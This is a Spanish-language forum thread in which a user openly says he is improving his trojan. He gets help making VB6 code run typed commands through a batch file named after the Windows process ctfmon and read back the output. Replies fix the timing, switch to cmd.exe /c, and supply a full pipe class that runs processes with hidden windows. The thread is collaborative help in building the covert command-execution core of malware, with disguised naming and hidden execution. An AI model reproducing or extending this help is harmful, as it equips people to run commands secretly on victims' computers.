ejecutar .bat desde shell

[50l3r]

Bueno como os dije, me estoy basando en tutoriales, manuales uqe veo y voy cogiendo ideas para poder mejorar mi troyano

Código [Seleccionar] Expandir

Private Sub Command1_Click()
Dim casa As String
casa = Environ$("homedrive")
orden = Text1

Open casa & "\ctfmon.bat" For Output As #1
Print #1, orden & ">" & "ctfmon.txt"
Close #1

ini = casa & "\ctfmon.bat"

Shell ini

Open casa & "\ctfmon.txt" For Input As #1
todo = input(LOF(1), #1)
Close #1

Text2 = todo
End Sub

en esta parte, pretendo que al generar una orden, esta se cree en un bat que redireccione la salida a un archivo de texto que previamente se leera en en textbox

la cosa es que al hacer el shell ini, no me ejecuta el archivo, probe con shell execute pero nose si lo hice mal, con lo cual, no se me genera el .bat y el .txt por lo tanto tampoco

haber si me podeis ayudar

[Dessa]

Hola, creo que te falta un espacio el la sig linea (antes de ctfmon.txt)

Print #1, orden & ">" & "ctfmon.txt"

Print #1, orden & ">" & " ctfmon.txt"




Saludos

[50l3r]

nada, eso da igual, ejecuto el bat generado y me sale el texto pero con shell no

[Dessa]

Shell tendría que funcionar por ejemplo:

http://foro.elhacker.net/programacion_vb/prohibir_entrada_a_un_disco-t233323.0.html;msg1113922#msg1113922

[50l3r]

si ya vi mogollon de funciones shell y son asi, pero nose porque no funcionara, ese es todo el codigo nada mas

[cassiani]

Varias cosas

esto está bien

Print #1, orden & ">" & "ctfmon.txt"

incluso puedes hacerlo así dirctamente

Print #1, orden & ">ctfmon.txt"

no hace falta el espacio

Lo que sucede, es que tu estas intentando leer el txt cuando aun no se ha creado, debes esperar que el bat lo cree para leer su contenido, para eso, usa una función que postearon por acá para esperar la culminación de un proceso.

Si no lo encuentras, ahora te lo busco y por favor, declara las variables y usa identificadores para el tipo, te recomiendo hagas uso de la instrucción "Option explicit".

saludos,

[50l3r]

sisi, ahi tienes razon, aun asi el codigo este es una prueba, no las declare para ganar tiempo, aunque no es nada la verdad

hay alguna formula que te haga esperar x tiempo?

[cassiani]

Claro

:http://www.recursosvisualbasic.com.ar/htm/listado-api/205-abrir-programa-esperar-a-que-termine.htm

suerte en lo que haces!

[Dessa]

Código [Seleccionar] Expandir



Option Explicit

Private Sub Form_Load()
Text1 = "Dir"
End Sub



Private Sub Command1_Click()
Dim casa As String
casa = Environ$("homedrive")
Dim orden As String
orden = Text1
Dim todo As String

Shell "cmd.exe /c" & orden & ">" & casa & "\ctfmon.txt"

Dim x As Long: x = Round(Timer): While Round(Timer) < x + 2: DoEvents: Wend

Open casa & "\ctfmon.txt" For Input As #1
todo = Input(LOF(1), #1)
Close #1

Text2 = todo
End Sub






Sin bat ???

[Karcrack]

Sin fichero temporal en el disco? == Con Pipes?

Código [Seleccionar] Expandir

'---------------------------------------------------------------------------------------
' Module      : cStdIO
' DateTime    : 23/04/08 20:23
' Author      : Cobein
' Mail        : cobein27@hotmail.com
' Usage       : At your own risk.
' Purpose     : Non blocking StdIO pipe
' Requirements: None
' Distribution: You can freely use this code in your own
'               applications, but you may not reproduce
'               or publish this code on any web site,
'               online service, or distribute as source
'               on any media without express permission.
' Credits     : Amine Haddad
' History     : 23/04/08 - First Cut....................................................
'---------------------------------------------------------------------------------------
Option Explicit

Private Const PROCESS_QUERY_INFORMATION     As Long = &H400
Private Const PROCESS_TERMINATE             As Long = (&H1)
Private Const PROCESS_VM_READ               As Long = &H10
Private Const NORMAL_PRIORITY_CLASS         As Long = &H20&
Private Const STARTF_USESTDHANDLES          As Long = &H100&
Private Const STARTF_USESHOWWINDOW          As Long = &H1
Private Const SW_HIDE                       As Long = 0
Private Const PIPE_WAIT                     As Long = &H0
Private Const PIPE_NOWAIT                   As Long = &H1
Private Const PIPE_READMODE_BYTE            As Long = &H0
Private Const PIPE_READMODE_MESSAGE         As Long = &H2
Private Const PIPE_TYPE_BYTE                As Long = &H0
Private Const PIPE_TYPE_MESSAGE             As Long = &H4
Private Const STILL_ACTIVE                  As Long = &H103

Private Type SECURITY_ATTRIBUTES
    nLength                 As Long
    lpSecurityDescriptor    As Long
    bInheritHandle          As Long
End Type

Private Type STARTUPINFO
    cb                      As Long
    lpReserved              As Long
    lpDesktop               As Long
    lpTitle                 As Long
    dwX                     As Long
    dwY                     As Long
    dwXSize                 As Long
    dwYSize                 As Long
    dwXCountChars           As Long
    dwYCountChars           As Long
    dwFillAttribute         As Long
    dwFlags                 As Long
    wShowWindow             As Integer
    cbReserved2             As Integer
    lpReserved2             As Long
    hStdInput               As Long
    hStdOutput              As Long
    hStdError               As Long
End Type

Private Type PROCESS_INFORMATION
    hProcess                As Long
    hThread                 As Long
    dwProcessId             As Long
    dwThreadID              As Long
End Type

Private Declare Function CreatePipe Lib "kernel32" (phReadPipe As Long, phWritePipe As Long, lpPipeAttributes As Any, ByVal nSize As Long) As Long
Private Declare Function SetNamedPipeHandleState Lib "kernel32" (ByVal hNamedPipe As Long, lpMode As Long, lpMaxCollectionCount As Long, lpCollectDataTimeout As Long) As Long
Private Declare Function ReadFile Lib "kernel32" (ByVal hFile As Long, ByVal lpBuffer As String, ByVal nNumberOfBytesToRead As Long, lpNumberOfBytesRead As Long, ByVal lpOverlapped As Any) As Long
Private Declare Function WriteFile Lib "kernel32" (ByVal hFile As Long, lpBuffer As Any, ByVal nNumberOfBytesToWrite As Long, lpNumberOfBytesWritten As Long, ByVal lpOverlapped As Any) As Long
Private Declare Function CreateProcessA Lib "kernel32" (ByVal lpApplicationName As Long, ByVal lpCommandLine As String, lpProcessAttributes As SECURITY_ATTRIBUTES, lpThreadAttributes As SECURITY_ATTRIBUTES, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As Long, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hHandle As Long) As Long
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long
Private Declare Function lstrlen Lib "kernel32" Alias "lstrlenA" (ByVal lpString As String) As Long
Private Declare Function TerminateProcess Lib "kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long

Private c_bPiping           As Boolean
Private c_bCancel           As Boolean
Private c_lhReadPipe        As Long
Private c_lhWritePipe       As Long
Private c_lhReadPipe2       As Long
Private c_lhWritePipe2      As Long

Public Event DataArrival(ByVal sData As String)

Public Function ClosePipe() As Boolean
    If Not c_bCancel Then
        c_bCancel = True
        ClosePipe = True
    End If
End Function

Public Function StartProcessPipe(ByVal sPath As String) As Boolean
    Dim tSTARTUPINFO            As STARTUPINFO
    Dim tPROCESS_INFORMATION    As PROCESS_INFORMATION
    Dim tSECURITY_ATTRIBUTES    As SECURITY_ATTRIBUTES
    Dim lRet                    As Long
    Dim lhProc                  As Long
    Dim sBuffer                 As String * 4096

    If sPath = vbNullString Then Exit Function
    If c_bPiping Then Exit Function

    c_bCancel = False

    With tSECURITY_ATTRIBUTES
        .nLength = LenB(tSECURITY_ATTRIBUTES)
        .bInheritHandle = True
        .lpSecurityDescriptor = False
    End With

    '// Output Pipe
    lRet = CreatePipe(c_lhReadPipe, c_lhWritePipe, tSECURITY_ATTRIBUTES, 0&)
    If lRet = 0 Then GoTo CleanUp

    '// Input Pipe
    lRet = CreatePipe(c_lhReadPipe2, c_lhWritePipe2, tSECURITY_ATTRIBUTES, 0&)
    If lRet = 0 Then GoTo CleanUp

    '// Non blocking mode
    lRet = SetNamedPipeHandleState(c_lhReadPipe, PIPE_READMODE_BYTE Or PIPE_NOWAIT, 0&, 0&)
    If Not lRet = 0 Then GoTo CleanUp

    With tSTARTUPINFO
        .cb = LenB(tSTARTUPINFO)
        .dwFlags = STARTF_USESTDHANDLES Or STARTF_USESHOWWINDOW
        .wShowWindow = SW_HIDE
        .hStdOutput = c_lhWritePipe
        .hStdError = c_lhWritePipe
        .hStdInput = c_lhReadPipe2
    End With

    '// Start Proc
    lRet = CreateProcessA(0&, sPath, tSECURITY_ATTRIBUTES, tSECURITY_ATTRIBUTES, _
       1&, NORMAL_PRIORITY_CLASS, 0&, 0&, tSTARTUPINFO, tPROCESS_INFORMATION)

    If tPROCESS_INFORMATION.hProcess = 0 Then GoTo CleanUp

    c_bPiping = True
    StartProcessPipe = True
    RaiseEvent DataArrival(vbCrLf & "---> Process started [" & Now & "]" & vbCrLf)
    Do
        If c_bCancel = True Then Exit Do
        DoEvents: Call Sleep(100)
        If Not ReadFile(c_lhReadPipe, sBuffer, 4096, 0, 0&) = 0 Then
            RaiseEvent DataArrival(Left(sBuffer, lstrlen(sBuffer)))
            sBuffer = String$(4096, vbNullChar)
            DoEvents
        End If

        Call GetExitCodeProcess(tPROCESS_INFORMATION.hProcess, lRet)
    Loop While lRet = STILL_ACTIVE

CleanUp:
    Call CloseHandle(tPROCESS_INFORMATION.hProcess)
    Call CloseHandle(c_lhReadPipe):     c_lhReadPipe = 0
    Call CloseHandle(c_lhReadPipe2):    c_lhReadPipe2 = 0
    Call CloseHandle(c_lhWritePipe):    c_lhWritePipe = 0
    Call CloseHandle(c_lhWritePipe2):   c_lhWritePipe2 = 0

    If c_bCancel Then
        ExitProcessPID tPROCESS_INFORMATION.dwProcessId
        RaiseEvent DataArrival(vbCrLf & "---> Process terminated by user [" & Now & "]" & vbCrLf)
    Else
        RaiseEvent DataArrival(vbCrLf & "---> Process terminated [" & Now & "]" & vbCrLf)
    End If

    c_bPiping = False

End Function

Public Function WriteToPipe(ByVal sData As String) As Boolean
    Dim bvData()    As Byte

    If Not c_bPiping Then
        RaiseEvent DataArrival(vbCrLf & "---> Pipe not connected [" & Now & "]" & vbCrLf)
    Else
        bvData = StrConv(sData & vbCrLf & vbNullChar, vbFromUnicode)
        If WriteFile(c_lhWritePipe2, bvData(0), UBound(bvData), 0, 0&) Then
            WriteToPipe = True
        End If
    End If
End Function

Private Function ExitProcessPID(ByVal lProcessID As Long) As Boolean
    Dim lProcess As Long
    Dim lExitCode As Long

    lProcess = OpenProcess(PROCESS_TERMINATE Or PROCESS_QUERY_INFORMATION Or _
       PROCESS_VM_READ, _
       0, lProcessID)

    If GetExitCodeProcess(lProcess, lExitCode) Then
        TerminateProcess lProcess, lExitCode
        ExitProcessPID = True
    End If

    Call CloseHandle(lProcess)
End Function